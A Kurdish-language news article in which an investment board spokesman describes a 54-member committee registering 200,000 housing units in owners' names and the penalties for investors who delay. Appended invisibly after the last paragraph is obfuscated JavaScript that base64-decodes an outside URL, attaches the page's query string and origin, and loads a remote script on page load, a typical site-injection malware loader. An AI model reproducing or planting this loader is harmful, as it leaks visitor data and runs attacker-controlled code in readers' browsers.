200 هزار یەكەیێن ئاكنجیبوونێ ل سەر ناڤێ خودانان دێ هێنە تاپۆكرن
پەیڤدارێ دەستەیا گشتیا وەبەرهێنانێ ئاشكرا كر، لیژنەیەكا 54 كەسی بۆ تاپۆكرنا یەكەیێن وەبەرهێنانێ هاتیە پێكئینان و ب تنێ د سالا بۆری دا شەش هزار یەكە ل سەر وەلاتیان هاتینە تاپۆكرن و دبێژیت: هەر پڕۆژەیەكێ 60%ێ هاتبیتە تەمامكرن دێ هێتە تاپۆكرن.
بەرگەشت ئاكرەیی، پەیڤدارێ دەستەیا وەبەرهێنانێ بۆ رۆژناما ئەڤرۆ دیار كر، لیژنەیەكا 54 كەسی ژ بۆ تاپۆكرنا یەكەیێن وەبەرهێنانێ هاتیە پێكئینان و گۆت: «هەر پڕۆژەكێ كارێن وی 60%ێ هاتبیتە تەمامكرن دێ ل سەر وەبەرهێنەری هێتە تاپۆكرن و د دووڤ دا ل سەر كڕیارێن پڕۆژەی دێ هێتە تاپۆكرن، سالا بۆری شەش هزار یەكەیێن ئاكنجیبوونێ هاتینە تاپۆكرن و د دەمێ نوكە دا 200 هزار یەكەیێن دیژی د قۆناغا تاپۆكرنێ دانە، تاپۆكرنا یەكەیێن وەبەرهێنانێ پێنگاڤەكا گرنگە و مفایەكێ زۆر بۆ خوەدیێ وان یەكەیان هەیە ژ لایێ قانوونی ڤە».
بەرگەشت ئاكرەیی گۆتژی: «هەر پڕۆژەیەكێ مۆهلەتا پڕۆژەی ل دەستەیا وەبەرهێنانێ وەرگرتبیت و ل سەر وەبەرهێنەری بهێتە تاپۆكرن، دەستە دێ پێداگیریێ ل سەر وەبەرهێنەری ەت، كو یەكەیێن پڕۆژەی ل سەر بكڕا تاپۆ بكەت و بەروڤاژی دێ لێپرسین ل گەل وەبەرهێنەری هێتە كرن ئەگەر پرۆسا تاپۆكرنێ گیرۆ بكەت یان ژی یێ بەرهەڤ نەبیت یەكەیان ل سەر بكڕێن پڕۆژەیێ تاپۆ بكەت» .(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
